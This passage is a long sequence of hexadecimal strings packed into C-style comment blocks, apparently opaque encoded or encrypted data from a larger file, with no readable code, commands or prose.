908f0bdc9c176cd19883e5fd9c9ed56cee00c92bf5439318d8171fcf4bc7dd6a525731e8eb9abc276f98aef935393173da858f99e155210da6780455fa6d3910b57e995badf6bc07b86b643109a50e26696e3e50d2f99ee3770938fbe70703da44982ebedfcc33d5d450c5ad6fb00f00aa14a3c1db5faf83fb8b0a5f7854e504c81682cb2da1bfec24ca6472d62d0ced216cd59e112aaabc26a13a59e7a86ef94216a541dca63402055866a39e290c1e9ca7f9a230f6f9456a2a82c33be144e35eb95bc0330fa80962c9b4238cb5439b877da2628c7a7fa594c9b4303ae08a19ea20408dd6fe23798394240c20a94b3c232dcae363064a93073e95f79c82926e15a18ae9ba99cd6a41c6e9ba06cfd3834293acb7fa04802ec45356418f8faef9d06d9feef1ab4b73c0272b993d473da572d6ec4d83642ccd748836a2226172610f2ff9b13e890fb53803e733e54267af9812feaff548b10df1b55937cef88de74102f2533c57a3ab37fa594220fd2a8abe7f0a19fe660375fa7dbd0e32146994f3e72d1d17ebd2b2a4128c078b5819be3fe3d00a0d2471f876bcecd3dc6d95649b9b2b050950d174f3f689ba4daa3d29570734f34259df502987e177cdadd990ed1d748016193ce05833a4333ad250a2ec9ca3c709490b04167f4d14a1cb8567a972d4093caffc0d8f188096ee2b7e758ed9fa4a7fef267899b6c7e1ae5af8c4f2885a684ad59364e51367d57c3d489e6cad2103bcc7dd528ce2cef0f9077c783fed723788bd2c762b99ecdcb81ac305fcb36cadf8f82d7c3476ef3ce2e2031080a55a103c760a0f3fd1911b4977e6642f95e97d44efc563cd9aed9da2569b8e01621379347664887b3022ac766457246d1fcfb3dc7cb617515242fdb55ddd888fe274e55b68177e2d4872c1317f9110fb1c708dfe338c200b51d52205969716d1450c343b3eadfa70e84b68d07beffbfa4ce8cc7f02a8b61e2de115f261aed105287726b0dbed165d678d4a8fb205491926d4a17fbed5603236e9ba8c80ee4e0f116d994825f749f7957a6060d8bdc48ae5b94561df727c28f07ebf9a7cacc0a91df8e5cc0ac36e43a826180fdeab7458c6c31b734a707277c0e8465fbd7942902adac06fbd7aa58f905d044cb4d7ee00400ecf36ed0c38867cdb04c0a90af49c4433ae3de694d45776b012c03f5c0f259daf403d87568672f400576800160f22fbe01223bef4fa4435aef477a1a1a0802c72f38c66a09c6a711929976f28680b0a4c37b8c24aa9bdc8a7c0dfd94d27dd3133eb69eaec4e41463ea3256df722d8aab756f8c763f0e94e3a0e2d3f41a5450d42b7fd9100c9474c75ff12141b37b509d47f1e999659c2e027765b311ecae6a65fe9405e81c30463ea32372b5bf61182537c8c69abba10b38f52605443688b9d80017108ce89bb1bdc424a6e1ba7353aeafd7c91daba65ad17a70d8025ad1d0756*/
/*5af56e2ad1035685207830834538907192b6649205507a195b95754c8032112b03e8b67263df1b4444a197a081a709366a41ffac03db1e8b9ff4cf85815c5024199252a1793770bbf69ccf1757ae6329123b8e3c05584957ad7dad3161d41666dddfba41e47ad1e1193d24c661ca1a6bcc7bf3686d9210ab24afcd98a93d2e2ee470dd500dc235cc6fb68b2c639d31c03df69153c44eebe2a3889fcaa04463a3fceb9173c9d2034b4c5fc6e98a4ea9cceea8809e92397380b676a9eb49711e7cedceab487d64f9b1f73774c608a1f56e7f49642f859e852609da833e1d25ead3c908c114ea0bd605b7a6e2a44c82ba29f5c03cda8aeb1f39efac4670687291324f2eb54b984a95941faa7739507ea829a351aac3fd723422ab5bf80a4b39bc1260edbf354fa8f384db10ed1d3a67d593fb437263782d27515a0fd9d68ff8d34b51d7f62d5953450ce1d2bacf2bd1617f4b7e0dd7917513d689fbbf7698eaa4d252b1ea3d8d76193e924d216c7c23b95c5bd880f24eaf53a511049dd78232a36b8a9e763cad06c9103c5ba3372a13a15495de3eb3bffc66cadc6adafd40d96769800af68713ae3d3c66be409a71f6fdde56dab57acffa0e1fe5e24ac46865aa4916ebcc0de9cf013e6179006c4d096d714eecccc7e26ccb261158071a49ee2f0190d8578e4ac1b0f78e3dc5314f96c486d6e49b4ef76a0985cc20f1f5d7baf7e256691eabb58b161cb714331d5e10c22f8926eb0340545426dcc428908cd24b90995f91732827c4e065259ddb2ebdf3fef7aaf0bf35be32b6dcb95acabd655f66e7e0c71b950d3c3650717347acdd24c107f4c545e3c0ab949e4cbb6aa363628954124105107203de217bcd208de8d223c36537a4ca0d4608fde5ad8775b8295ca833eb7d7b4170c0b3f5701cab87b1e003b8534c1ad1400499ff3e88f3971f0540bf967a187a9e9d7c15a07e831e2b10cb11b0627f1090f07752abef0047a174b3fe2e959ee86ec7f168f96c36ad88142ff2ea3455c3d3d97f014ea77479d28e209a6a64c4027021f1674ed097f776f984ec80206bc6095bcd1444e8589e8e46ac9578026ffd0eb82f60ad1d2b7f7661946d40ec2bab65e6c0936d089cb5c1860021f56ec8ffd519dd024bda3f00cd64cd675438c144f4e356b1cbd7097a1161e734133bb65f61ed0acaed79f3c23e0d3dbbf58557edade9f18aa92e909d42850a5e0c4b619eea44517115bb2d6705ea11630de6af8a19d5b9d964a401a02f8eaa72d34265bdf5cac3152c12668a500281345797f52f8a6c92e3888d5a6a4d904a064fb070942c8b007895041d4fd38bba2a216a777c519c4696adf41a4de37d27fba122619fb2ca9dd7a5c839fa9690a555cd51d58b9b883ecfd02b3d8a4ec5c7bf09d959d1f185636b20a330ba3d39df306f11fea1ed11adaf97c1bb66c2b93fe0f04ddbf84edf97d0b169e5f3779aab5ae20a0728adb54b2ccd5de072b2685df430396da681793ce09b2b01488ae05515e00224a20db2a4b08bafab6c179d9000133b86358d55f64eb0edf4f2667ce0a35f22b7d0b2bd90c75af1c80193c55926e300f1257e82bf663bffecb223a52d77ccea0152151ff8b77cc4d14ccfae5f8cc5d61ab389c2bf49e151a69ae4717328a66f0569f1055baab801bc786b19b4c38a18e5f5454e4eff005236f7d6c8340a9dc3671ddc83a0ca8855eccc9af2de1a58d5622aadbaac8a6fcbc64a6320681b936e6e7b0d40553f97dfbc0abdc1d72ee496d101be4c45af0cfff457182c08e9c350a5f22785470ed3e182bc796102a5e90308a6c9a4f05f41d6f0a78863755cdaf96145f9d45658b1eb026bbb64d4e8427e5ff3dccf8a5ad09d701c048cc60e9ceb17d06467f06117b9a259e84c56f3b43081675679a2f6582e5b1f47f6740ce5e885ed4923cac065141e0daaa38ef723f680b870f1c47174b698fd854d30f8c8d052b7530265bd9b6700121f50b7074f3a30118e8e65df3ac6298e14db82cf5c28bd7260a7b6c085cd82a0d9ecc6faa6771d9a9149947dcf4a774c47cc63dfe96b73edfbcc4930b4f9c3ae2b13d2e274a98f42d35a226768f84deada8adcce3c76b7571ee108bc60cabf57aed1e582f03a15f1d5ab92434d604d58a55f6853c151bd2c13a4eec358318d792915b0b86e28dd81fe756bd1207ec959cbe04d24afaa65320ad7d08035b28579f522bff2c182f1a8dee6d10f4fe05b3ad2dca219dc552d8e404088bddd9b28b0671c24ed379021422a9e52397cf31bde874418236f51604f88a364e552e48249a3d999cd2ac701fa26a9542b90e69f821b3b7e56bff02831b7ee695aa24fed1999a6145dc306094db5bd2cc6905d1b3e54cc2acbb0e8c51d05998c467d4f1dab8d1647aa47ecc25946fdc53777b7a19b6dba684c3d2b4659cafc7577ad0f82aab3b9ea846c18f84863aae7250eaa6d6f0e222a4b7003844200cd0e14cf73ada386696d1be3b4cbe0cf1d1ed3381ec2be5e1ace85dbd2212ba1f675d6fbc2694daf3facb9c4874844e87dd2043570851f21d6a3498d8ab4fdbd277f280437caf35e7a502055b8d9298d510fca158b1a64e2a1745cc65d319109e03dbb4c55ddd8644e7d34f581e5c882ab16703f418ff1ee74fac0f4975d67ed204cba50cedef42f64f21ba658b1a562070659633be09557b1f88a4089274d427c228b0119bc3e6ef1471db33b2501299e6e5d542e8356db5075a35ba820a41b5b3731c819a3e41f821635cf5204ad4701e76740df1d23776f4bc3c00e66f44b8405d6be8c6e321bfff68ff7a13a8980b57e56434dedbfbb02*/
/*a4620043263be223286d8b464aa90331bb0118d3cf0c7c2f4536dd4dac4bd378cdf881213c75d3b35563739f9f27abf96ddf51c8917367b66c49ccafc3263469d1e0354a14f4212a9d6c1aca65667907931b86bdba08dee9892be0145bcb2b8c84b9e4d6a7c4a0e17657da0e8f7f7c99bdf5b70965135082ec67dfd21cb2d64c892a52273b1820cc7ac4223014abc0fa7507212db02678b01840786ee1ef72b11a8ef6b8e460943c306920e5012dc8ea28df8ab7fec1913f4005ec4e332e3af65c07a24917be92a100be2f3c00bf2ef31395c10a7d99be88817b01d7a13d017b51758f6ccd46ec756da197c5657ef46d7b9444d3d8f048343cc4a31885287c433f7918f333b4c04ac27131f278a2dbdc0ecb3073d521136c31e1d3467855fce82d939870aacec395056e567bd208bcb1c74c999474cf573dc89188c86fbe497f6818bc846d7e1ac9972a9284e14ac90c4456544f45a5c0aaca9af0e1295eef509615fdd2c0360f9f02be6eaa711291e059bbf023bb04b21a7f1c5bdb94bd94ada8ab4a184e16449c190288fa55a2d1862e663f9408815b8016ef3bed6e5ca09962f874b2c5c75ef16d724e47120dc44d777f6939cfb1146b541d2c6a21f8d1300f6e7b16c3dd67e357b892994e1069dcd153904a54eabba1aed2de56043b31ae6abe352f119be729dc6dbe53f808ecd154d176d0f7a18b21bed8f1338a402144a3ed59172743b5542f4f2998914c9b2e9ad818dc1c6f8f714ad933b4377f0d58d840b307496ad8e0cfb453cf1844bfd913adad422cf94aa6a95673f440172789790d1917417b4e10a5a776ce0b961916742d5cf5e86b0be8db13312ddf131206f7127aebbaa8a415cdebfbd67b819944845a3c184095284d5eacd55b64406188ff4386cadb6c56e96c7a1c04cce729cc7b3d90e4bde5367c56dd87da6152eadd27472e88cea2a81dce5ee30dfea95752008152827acabb9e23e034c1aac79328c7dbe71c2feacd395f6af245596c29d910ad7362de434352279a0a0dc9e21c4ce2a689ddcb2aad75e4948dc2947db5a3db052bad36bdd94b1515ad41c23d692b87f719cd6176d0431f76101285fe0866a442c237fc0ea6b2f7c7a70dc2fa64942bc3bf83992a2a85627f28298d39ae9f7f1070b69e169ad37d10831576f0b9abd079d6299aeaa66c9a53aead2d2e5f044f82176fa7c8164368b008d428f6704986bbf4d93ae40f87e475451753d0ffb8d75e7955e54e2b2c000101dbacb5c70430f3549dc0a9b5308f4e9636b0bb58342dd745761ab9ea51038e368ee1d54565c7f9502682cb102affd29f30fc5ff9600672b0cee287f889a410d179080c40f4b9994e3d90d98d04b95bc650e48d9f278cc90926f534598360a9a785400f4a0c177356e5c51de8c0166938d47af4e76b168883ab35a73f838cde34e5f13d32bbb3b91f2caa92de778097be3d4fc4b8141783cde377f5033c47312da93eef566b1376dbe806cd185b2327b14cb271fe5a1a703a21076594bc96223ac892de3d5a20da6d7657cfa8eca9b220a0cf6f73829655d6ce59145aab0d082b239e77ba89695fafee44cfcb671965ea4ab985d16ac26563c8682f5a90b5cd0c4aa940abbe5432ce349bb216b5f4b1455942c5ae25322e4464a4ad96963c491e9479d8527d77d8bcde66a4e08d73bd4bb5bc918c397e7745d1fb5afe003cbaf419651d2a96a739d5869579f21099e72ddf01c8014938cf172bf3a7eb18286b36ba8602be00e467d443478bc343273b51fc91df531a105cf702a12a55e6871955fa7d7290f164bade0a4468d04a9ae450367d86e28918b1cd28847afb13ce854a0e396a33be6360aef39260965269d471d3d32085ee32a044a7d12734224994e0ab3eb16bcdeb04fab03561e80cfa18a5ba95a444bef9be2eebd96b19dc4662f1f6259963bce5445181b8fa9c3009941bc308656887a86f53e336cbf2089c3a544387aef6a9c5aa23c45a3190fbc224133005a42129c1e58f50cc60922872c5b2dc2efbd09fb4e16b332cb855f5e2581c348e335a1a102017f56690001817a70c0f8c2bf1e0930e332b0d25d3ac90dd0c49d4ac1d0a3b8062f4dd12f1241011830b94882ca17688ac2bc18f639c3fc5b88f7be50d95941353ce90efd997acb01690e6f9c6ea823d6e63e24781bd6e200860c43553f314c9b2ae59359679cedcbd45ddd598ea59c7672ebc45ed92ff741814a79860560b8facdb5e121ba15fa65165f7ec025f1e1199b909d022cff185d0e2aa740c6c1735abdfbff70e735d31828d8cb0550991f141fc2c569313b8c8f95f9e0ac0690cb88ee689c51cfa79e770de017991bb770d1ef8548cb40180b1fb8248ba4cc0c8a7000cac7acbe9201aeea14b8adae0bcf6f30d75774a67dd7c32403cdd83ca850e8a6568072730b1ed760ecc8a1d3123e911be0902a784a649066b3943c2439a4335a4925a60e458a78e8ee34625053c49b35cc55e79f406bcdfa818895a247c19a04bd86fc466508894f805552bd9e5e0310ea38f330da51e2507d05e196f7d6c05b5b13c3ee4f162d069539fe3d358cd5b3f3c944857eaf4c5a42227afed7ff32d85f04a24d3941ec896779120fefa90178f994e7c48e29baac3bed083aa371507a1b27727039d24313413129cd691cb3a77b4d23bea03c1ff7e71fd769a381ab0f9924c1d3b1818faf2171720a5ae46ec2e660ba467a925b5f29ad7e06cfc9374da3227ae903aa680fd3ac9bfbf876480a232589a38e8f23953d5e630dd2a0244c35ce2f4d4db34abee977d40f380b9a04c7e69ab49ec5a1d7f6e456633*/
/*810eee04b6121761cb0ce99b5cd46c3acab91c195b6c3fa83cea1b39fbc5c2c5232b00191ea9e87544d52cb0985f17fd6a44266cbb773e652799f872c43d4fdd2efb9f81eeec28b8943bde2f670fccb50cf2f19a95b6e62f3fa29f74184d125daa8da8981b3bb838638004f92c440b4254382e2a961845030dc74880d7350e8698073a94696aa3ce3ab47ae32dd514063f89162c940d49d3605ed2539686a98df7dad65df46edef907d3e4793e84b0fee8e1a7110b87dd5752a364b18b104e478e4adb6b2cdc4b6c837d46665cfc67776d10e26aafe55895fe85d4e861230076123fa3552bfbe9526a24147047696d999702a8f501d3539730cb148b3cb4246da4b2d8843b9029a2968e983bd8b2cfecb5eb36efdd6f2756a02bc7f4f987b07f8a8ad7b7a0f9faf2a1ce83facc1ae76cb5dccf84648017dd32437e66d927a334aefbb9ed75c95561e1869225185ccbeea8b2d86bc41cfe4d6e979562cbb241194711603a8b7c8634125ccb8ac71b318d7c58f339a2334fd6fde7cc521a3017b35eec5c6f088b4e6ec85cd7ac40b215ec65a0180e5ab7e0e7d19e6faabbaf7f2347e0cc7c9348f7f3ea749a792729149a9ba04e9a71a9642865d19a7a7253478bbd635d99a0397a46173acd724209efc26bf20c75f186c39b217fb8be706a49d2d55f1f81d21527a24b65267c6012468b12060c2c05489506fca16a2e801c817429c9547bde4757b0360cbc54c149273756a424af0bf7c74c2a366a81f2c3c10fd99269f837d481a98ceda3ba7eb825ea452a6972a46932ae5095bd755392825b2fbc0d66dc55b2dcfd34775807edccf92c7af8a774d29fcaa35879c062a1185b3e8ace3194ec4b4a8108701c296b88f4f620242512341bb1bcc8805159c2cf031689a3d247338b9741e776a91b174c78961a392b07ebbc6a779ae38ea0cbdaec3cdbf0674507bcabc1a66865f13824713843b936fff610486044907826e1705506d4203fed856b4bba2ba847735207814337dc55517166e562a2902f237c8c16f9af83f095d1e84c6a57d5cbc2d308ac902fb59ec3315a80368ceb5b3d453c606684eba4258593e4dee392cc0ced5dbf27311cf3a2451a48e754a02f2bb2bb98f74a9cdc550b852979f63c27074f53a31770b9061be919da215b43b5e4ae8085f5786ebe83bd6fc0f4630e4495136e6a71f644949ac72323510df3aa46893dad48625593cef86bf2810d9ad7841bc6128a687f1efb3cbb2a9c66cd98f8bc9796021791d51fdbaf910e49223f84a692aa2254ff6b265b29b4a4c0ac670a8c95371b366c724d71e8c7e423573bb126b51aed807da470c36a8e5fd801abba25037ff33d0b4a45abb9dc3e43bbcc661e229ebfd8dab0ac54e92391154399fad851fef13f68adf7904fcbba3474c2b41e7d73a5d14d589a8b877462dffd7e61877a1006f8018ba36dc574eca16fc702239dbbfb0cd3c4c36229dc7a5606b1b4e1f5c070496a59b3466307f3a031f50ea6acbc329b52616816ac5895272fdede638130daba2d1cc500a4379452a5fd231ab71c2476eb818e326713ab697850912496cee3a7baa2c406b4b601fb8c7167135965dc94043d97dffc16b606ac7f02a240d543774fc3479ea0918e344090db23d86625be2c55389999108961286c03f624de1235e9e67bb35ec6f31a62f322a8c8a2466101cba58ac5e644a429059782bb53df8ff76bd552c21b9f96ee9d2a0ed822453564362b5d59dbe748d795156811461fff500ee9751efb0e483e02d991122149588b311350ea90d1a3763c5cc47885c14d832ffff01a7b4e18dd348a805b8b543921df51ebcbb1adb669eafc28ad847613989c53a324592bb02f6d6baa8106c00e09c27c62b2ecdd16bc9685c62e21ab28248fa5c221c98d232ede7112b7c3eca073118684725215e84c3f140ceffe69245c6e2dec0e43a4dd1f4551a8164d771f5f0f01921712dd0c52b4c7fd8b9752942bd2837fa5f8d2b1de5e007461f46497b77ac37ebdadcbfc63672bc69b13b9efac161ff9b036136eac4256f3a21e42b4add1b95ab6ea9cbfc064f44bd7352d0c509a963ce98f461f78280d09db1cfc9e14b3e76f3d1f0441fc315f921dc7cfc753a213febd332e55b07eb6116539eef508c882262d1168b6a0c7771994fbceeb982df33ff91660a5fd50ee9f3f14a2aa3177168dc4c1a3dbf6355efe6c8334c526f94ca9259d241a0a4c96a184cbd2f580ed1c926f06ecf1af171fcf2914f1e50c69fd2766cac7a0dc7b43e57b6f34c9dea6bbe22337c81d060d66f976b59bb63690e8633f6b142f806b628e8cfd4b669c19ee7c27283bdbe69e96ab736dd9c3d39b9c51a079c373c04ad0dab62944e5a00de69339923722abcdf79a973e8366d5cccf32225c1e523998979ecf7fa4211d93e18bc23931465605eea4507205147b24ef6a66f7b0d7119919078866ab3772fca759463cb9cca76d3680ec698d81d4cabc5efe96d35e53570c62e1dc30a3738789ad949d75930b9b8dbbce181f5c95b950541ef279be338a08662ffd15e5ed8dab5716ec8c9becb35ef83389106855f7cff054923a6949f4180b21e37c4b32855f4aa105d3d87a6ffb842e6cb3d18b41a99f65b84c76d1a2325e047e32b1e7db7a6615d23f5877dfa58adf8ec42f16f0b6d4ae5307d4b74b3d69bd02ff063b88a5081fbf54b75648e25b23782adc4275ab2602df1c60629a6b6cc846d89785a6138156649da7b92fa76aa7d92cbb1dd47656b368b91489c8002f23b829910a7fa656b34d7b63f183567d76ca010993c3fec2091bc4e85b0760f36fb2*/
/*82121b348912d34d972f62c916bb1af46241ccaa1ec68812bc4f7d353e393472f6a614823bb1c9417ac2b13463f46e4dd3df65a32d8bedfbd8ba1343607b5d94be2d51fee46e2183af06475b10756a15359c7d589e280ecdfef97d06b97dc6f7f423c91ed4cab28936e273e316ee03efce77272b265484f0cbcbd909e6a69d7e1bbbc5196b3f605a2e2af6e641b8936504c4ea9c918050f964cb1113734a36464273cb62735ad2c90209ebdc6e9757a20e17730d4e23216671c8397811a2776376a657e80ea07ff286f10e0e5d7ef684fdbec0ce78b94ff1c469aff19459adb866bcd5a3ee6d1888940f24e4ffdc0588064aff0b2a4dbd729df7bc0f930dc81b97c6f32f54ead352f826295faf844c1a0eb9ab9028ea01814fe0e32d8be637367257a1e9cc59ebcf5ba707f275f016d62cf927ac0a3550df5e8092d7ab8ef3b58ccd663fbee788437fc4c131b0103b2883ef9a2ce05c0d22c294a949181b25b3156bb93c3d1a0efcbd9c54ee956ad996ced7a4d519a902b58d1ce27c44925eda759caec872bdf6f2deb55b6599375334b1d836c96e063ad5763d6250e8675c8ebc64db83b6240c4a4c5268083fe5eaa119ff3bb15fbe0b25c5118cb261e58b6b4777074900eff80690564064d689fe5c94e53044cc3a6c7a9023b34d8ae6df7760403e3d6567194b9e6de3a55b37c127558e101ddb7ec706e8a03d37590b01aabe685a6f3dc800ce413a91f9ef38404c5a15a17e3bb1e710edc0b4d55cbf4510a0ebc9d946f26b46db88b213d04b9efbc52b2b121d55999e8b2c4ff745bc2c16e80936543270e3fdcd787c3e7029f29fc78a84255e842423f5a22822d3d6ef1d0ff7266d9e92f490c243e3a8bcda8470a7b4b3f10b24797b325307d78fc1fce49487ea426089b145659e397170f566d8a7d4815a299ec474048415f9dcc626e37ce303c1dabdfee2c151e18d14afdad22c97933dca79b2331de78d5ac15f32e74065f4726e8822bbedc7afafb68e132801f5431206b5c9fc230a51f7a9c83a0e1d3a8adad662b68c52864809547c2657518059a3b6b1dac465f7b7e132f9f87c3f55271ad0806286f5bac2185e65f1eb1a1315fd702dde43c535380b698fc2913b265b84c777f42bf4562691ba5daa5132b827fed009fe488c17fb5107583c4587d90e39bd9ad9bc7d45228aeb614f05d9f492fbc007dd4958089af358fa2afb2324e1a19cc108a00c202b7a56b5fb3cf299d9cbef591d1d8db4013fb7a21994263bd3de48199a2bb749d0e5c23212724c552138984cb87a0bcb21d259e7180510cff8c96ae98b31b619b78a54678ea65cbb35b04e13fdf75fc19bad6327537120b32dac7c838bf15dc64de6f0d09a310d4229e05c13bf8af2e5fdd49f3d5e6cf16bfce24cbe7cf425e6b94ac1fa1553cb8c46f7f8933c6afc46c17fb68082b2141c34efab85902ea3af3f1048ac69adc0bec7b541340220bc6e84a5190fed7ae046d481a11317687470bd2100b3ddd23ee82c684a5ffc215aebf8d0aa452e6273f1296809c599f5af0965b9577d41a597fd2eb4f97861f76eec35c0c2c81456ea85560d03c5b9cd2356948ecf42d8046167af5ecb5aaa7c22c75ef8d385f170f8e7268258baaf4fa4ce72a9270f2721b14c9b6a497c1b055480a33d94351568ff096f269637b3dc1b11b2658913c9b3d0ee29cdb7f14433b7161173d9d6b88647392546b8805043f1ecbf3299ad4885842a1be6329fdd198cf4044307ddeac96a19228e887ef16ef1aebaf97d1e81ccc476e17043b2643b4f68b60ceb2ce9fd2bd4e94930d593eb001a7d686e04657df5a1878c9fb975627fa740e60f6d45fd40555d586336e187f6b496b6b783cc221bd4e170e18823a7d1c1acca14bebeea68a7d7803b9819179bd91206eb3935f1e24ef9c4f2c06c66f1d3832dfd35657cd7037870b4a76bc0020e38752b85d55903780398841132676791ac4b8033a29fd2482e54a40060d0af1a429ff31d2a3e64b14d60604a701963f6f8a70d9459572df93ac06ad21eaa9e65b566d3cadf41ebbe36af0bf98f6c671b2f0951e182dfb5ae6d463921ad451f5ce6ebb683b4c4ee8f3c70cdcaebd73db317a49f521ff061bf2a1cccdfb5a5485fe5fc57c4b77017a43869cdff41ff6c6aad6f75d9b6c952588e9f055090d4da866803f98a99218e4ed51806594d6768d5ae9269a85b4d8be703828db19b34c85a3e52731f8578f86cb9b51b19abe27526ab1ec3cd5a9136e68301c3d955227c8dac66325eeffb40cf2f491ad4e4c283b610d3918d4713fca914fd929602014e6253900bce007f82937d0645ce7ecf5b542062f0c10addedd81af77a7a41d4eb9c89e2245bd08df32f1d10c448a9a1b1408e8bf7d89a32a0e9993dca8572c290cff41c3d817f256ae0f0ffa446c1512a899989ec65d6e952b496dd4f86b1a4f425c1298c856a81169da393d6331a1fd9ace0b7aee55041d3c11bc8d6f644b342a524ab5f1b4e4991c13bd9b4c94b663184e36bf732cc9512ffa419cafd561217314e2ffd6cdb6b9459f55eff706ee212b031da3b38099baebb6e2839b9fe9e26521466bb3d2b0c3797361dcec3444518e9ee3206986c88ad0b40bbbab96e2345f14bfad96006b2938194d2b8f31d730db707b92a8be16e57c7920b29527c1ea6b28079ba3834e62617e9b7b67e077e2527be3fc1b200997a7d8c7054b7ea5bd5c09875aa0213602bf251311103aad299b0b80b055b3d5367b0e27dd4a4e797edbc3bf9d03a1649c9e6715f4e03f54c4b173f0b8d959a0e599071cd05d2580cb1e439d16147186a*/
/*df571dab2dc41a8e2d09151d6103c1cdc6061539e98baecaa2e3d0936bc04d145987b2e5a25e5424e7cc9e2a15671e9414fb7e492a02655ef3bbce430c480c43be26ed6286d63fe9e15400f1a3a05bb5851bb27d11dc04b423d9975bf834da2e60a51c183a6b5565583dd42dc1a9d22287d124fa544754933f0af0dbb4825dc95a4fbbcfe0d60839d106732aefe8dda01d1ae2a38fee28aa38c2fec33bbbd140719fbf7622f80ec868e3fc08d6152dbc4af146b2545bb250e68091e5e5dcdbc0009b56d1d351d29f8f78b40f981d5b5b44b9856fbf8155acdf208235ec34b90badf06a664132d4f5192f7db06d5e9b69f17fc336d3fd52c00a321bff9d194a6f10dace32f54c064319b5969872e9497ddf3a6dc4b97ca766ce4f76b7b865c0fe53c7e7afccba9870725005ea799ca12a4f246c57fbc92904305607b320d2af8497faa5d08d086f71c7713720ae045f3161d6c095e83ceb284c6860606dd7b26d6d70671558598871ad11ee90feff6573c627f18fb9d4da1b01c7e2d9030b89307645921e622e1b12a8d0010cda97d855096659c988d88826557b387cb4b81de4202612ddfeea219e24f812398cededd61767385509554ed7173eeacbcc15f46251c73d250475277b6a86e234a72b375c6d5dfe07553f1685f5af5c1d0f763bea368f0bd4e932e74a527a35a24f1fc99ecbdf8735e20b7a92299a56ebf538ca068772b9bcb912389df7bf2c7b4c7fcc0165aa8d5f9b6524cff68590697f848e4a8359d502ea5ed68463f7c3f8ab3ee686a504209e82915931bfec2efb129af3078ded50bc6cb22a9d4799661705c59ee774516df43193a54dc48f11e8349fa8d6f429f54741f98b1f2231d92274c11c3998b6abbc555df075d2668c1f0a4d45824c2eed0a9a10d33e645a29471dc77b9026f15bf571533fc9886c20aaa9849fad6e7a09c6f6ed7d032bec07b7d5888954f997dd17798f556873e546bf6116f734abada629f1c47a52a97e973a2972b17fe0cd3b1c0bb3cebaefdc16afd841177289e2606c90c43cac2aaf74790fc4d5266da591e490f355b73936a040ea73189bf570744dd44e125ca83e5bea0846515b9b26cce7919dd5aae14a4ccde6742ff55b68b3898b9f3dee0defa46686fa9468f32903bcf306cedf9f18f184bf32a0e553a711c70626e0b367deccb55a4ec2a0b77b4bddcd3d67371e58d9f290f03946b6673f3a58636dec5f017cd64f77150f81907655dc964485d650f0bcbb59ba58d9f6c1ab20835a632a00f884d640fb997dfba75acfa345dabd9883bbcbe04beb68bf20dc1fa8731c1d47103f354ff218179b0e5a308d8f7680c7759081fc1c887b0200733bc78cb3c3af0924db7f31b7d762f7f488778b1f6f69e8e9ee2915a8f60e81ba7ee514645d37b2d67437114fc21a667113be9b78b2a3d639ea0d06537bec33db50c73b1f3c742f834f501aff4af44339aca0e73f67212a67da9e0b88b9b9ac2b226e90077064b643c34f7a0f47f5c0832b4d1e32fc3f7954c2fd92be3ae696e36157f3e25ffc05b77019b3b87e151c8e513da198592681c2d4cd0fe20015489277a35d4de80bf108ed853529a39ecdb7541b8e254b5b9119067e05b1723f1a12bb8175083f7b3751d22667cbdc37aa21bc67d68dbda2c4ab7c23df76390cf12333969b26b2845075d8c950ab26de4da49a60f2f9d330d682f33332cab282251305587aa7c341ac880b17e02eb3bd25f604205d6de301290e2563a70cde07f69d75cde16b763b1f9915d6bf8eebae9b77eb01abe58cb3e355968d5af240ffaaf7a3666a00555cecd932bccef3319715a815a44303184a45b95ac02c5c0c81ce8b8caf96e2027482fe96a44e8b6e18689ca36f1787846be62bcc5443a1ccc146a2d4c3b871e27f2a8a59e7ab4358175d69dc7e9158d193486b0046ab7592e7fb8068c47e0267830d8bcb9ac36c58e88bb8cfa1f8f5580485701e0d1c556801846ecc8f6effd1bfbf180613703740d5005dd9904cb2a9143c07b52f46b65a8aee81cb14a5c8889e5d1f9bb8ae9dd3456567790c0c30acbd77aa24b9e4742e7f2c91f9c0f9a0a4e5332958109c7de1322a0d4a84d2d81278b842e131536e72c2cf3b742db2f2106ea3c79988dc94c84ed0763f7ec8e09e0892594368ed8431e202019d402363eb9f529d3b9c612b627eb0f80e987dc51280fbf813884697054e8c181a652b4a8817ef98cae9218e349eaab346a802bf11820f4ddb2a884638fa632824acf7d68073dd4f04b3697cfc1b528bd61e60b48e48a31295d70a68652fc443c78e4ed01b415de43d4972b07e51822150ea30352734a31c9106adb129e2082a56e3bd655cc6d26ec302cb0826c42ea673ae8b7f263c1db32a20400b07e97e333f489b61c504bab0a4cd5ec08ebd691992b8de4c83149f1bdd558a4ea34fa9ae9d90cf78874f5b41128c3608ebef35f21c26c1ef66ccbd711c424007a0ffad18ad8681dae3de1c4ec083cdff74ec22a78ec7d34f58af38d81b6610b71acb0710776e544c5d1c265d3f30d8fe99ba44295fa7ac80f117d880bd1e58220ab4c2e643d9059b274386611b0174b3339c44d2d5f833a11de91de364c11c6de2c2cbf48b84f8a826ddbf1bccd55bbd76700d85843c5035104d4bcde4b772e56c44789276b1797417fa9c7a44c86d38ad5d3c9ca4c93cb822a4e74d5e4c98bebe0806ff7e49cf47d82546627fd2e3ebac764a29bb7e5707a9182b4d8fc949c761c5f595743e8d4ec438cb111edf0405a78e9b164075ddc26eb13c25fd35936f01f5701630a19270ce5361dc578917e1*/
/*eeb310d21a9163edd634c28e1c5b42026bb510388280b5f3c279861829f2613b5721bdb431cca7012292745b86a7ebefe77284f3cb377631f1d2e2383efc7b8c705958b4e481c491626f1dd84e41956382a633f2db9332a14828e5d201c4ea60e5d9103de9f0aa167ee64a68d450910c4ac9bec409dcbd4f71801937caeda17991f17cb4805ce33d380c47a283d59864a30faca0b8a2edfb73ead33d107723f0b2f54a7d1d132d66c567ba147fde1622e04f0368b1948a42c2e6748e228827410c8783d1ffe42ef5ae4ca6a17795865b1fec3781e17e64f09c4e8703bc3a14f3a9d68bbd82dc6a1b4c75647d111e20345848f9593783dc816a58015b910ac10f1fddd68e6f44912be2f83a72bedc9d896855f2d06920950c0e687daabc4477455eccdfbe5969d4bb81b22a58758c85fd5fcae5502d84cfcb0f612928342c03f8e9492f29513b9c9d26ddfa755f43336cdcf3c7c4d748302fe7409867962c5170306e91f807324049114a0fc19c16c17d870eced5b34a618513763b3c0d02091b7dd81133dcbebcc9ba60fd42b4d7fb1bec05087e01e6ea3beddb0affa8873cfbc255fef8dcec11153239a006aef1423d5e580cb44dbdde28959571dac7438457a16cb54936812e55ebb13450d1aed1253fcf7902dd703b2437a6df30df87480372f55960f64e120f4ecf8b5b536b48cda432ee5974e482f89be203f078daa0b48b461c9f41bff2c46de86cf7702884219980626baec0e3f678f675343ee0c3d0309f171ca1400f3e7e28ac64e118e474255a680